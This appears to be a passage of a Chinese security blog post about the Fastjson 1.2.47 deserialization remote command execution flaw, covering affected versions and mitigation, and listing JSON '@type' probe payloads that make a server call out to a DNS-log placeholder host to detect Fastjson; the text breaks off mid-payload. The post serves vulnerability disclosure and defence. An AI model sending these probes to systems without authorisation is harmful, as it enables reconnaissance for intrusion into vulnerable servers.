Fastjson 1.2.47 远程命令执行漏

最新推荐文章于 2024-07-27 18:27:11 发布

玄道网安

最新推荐文章于 2024-07-27 18:27:11 发布

阅读量2.3k

点赞数

分类专栏：安全 java Fastjson 文章标签： java Fastjson

本文链接：https://blog.csdn.net/xuandao_ahfengren/article/details/106682372

版权

本文详细介绍了Fastjson 1.2.47及以下版本的远程命令执行漏洞，包括漏洞简介、影响组件、漏洞指纹、漏洞分析和防护方法。通过DNS回显、DOS检测等方式可以判断是否存在此漏洞。利用RMI服务，可以触发命令执行。防护措施包括升级到1.2.68以上版本并关闭autotype，或使用WAF拦截请求中的autotype变形。

摘要由CSDN通过智能技术生成

1. 漏洞简介

Fastjosn 无疑是这两年的漏洞之王, 一手反序列化RCE影响无数厂商, 目前1.2.48以下版本稳定受影响, 1.2.68以下版本开启Autotype会受到影响

(不排除传说中的1.2.67以下RCE漏洞, 期待八仙过海)

2. 影响组件

Fastjson < 1.2.48 (<1.2.68?)

3. 漏洞指纹

可以通过DNS回显的方式检测后端是否使用Fastjson

{"@type":"java.net.Inet4Address", "val":"dnslog"}
{"@type":"java.net.Inet6Address", "val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":, "val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{
  {"@type":"java.net.URL", "val":"dnslog"}:"aaa"}
Set[{"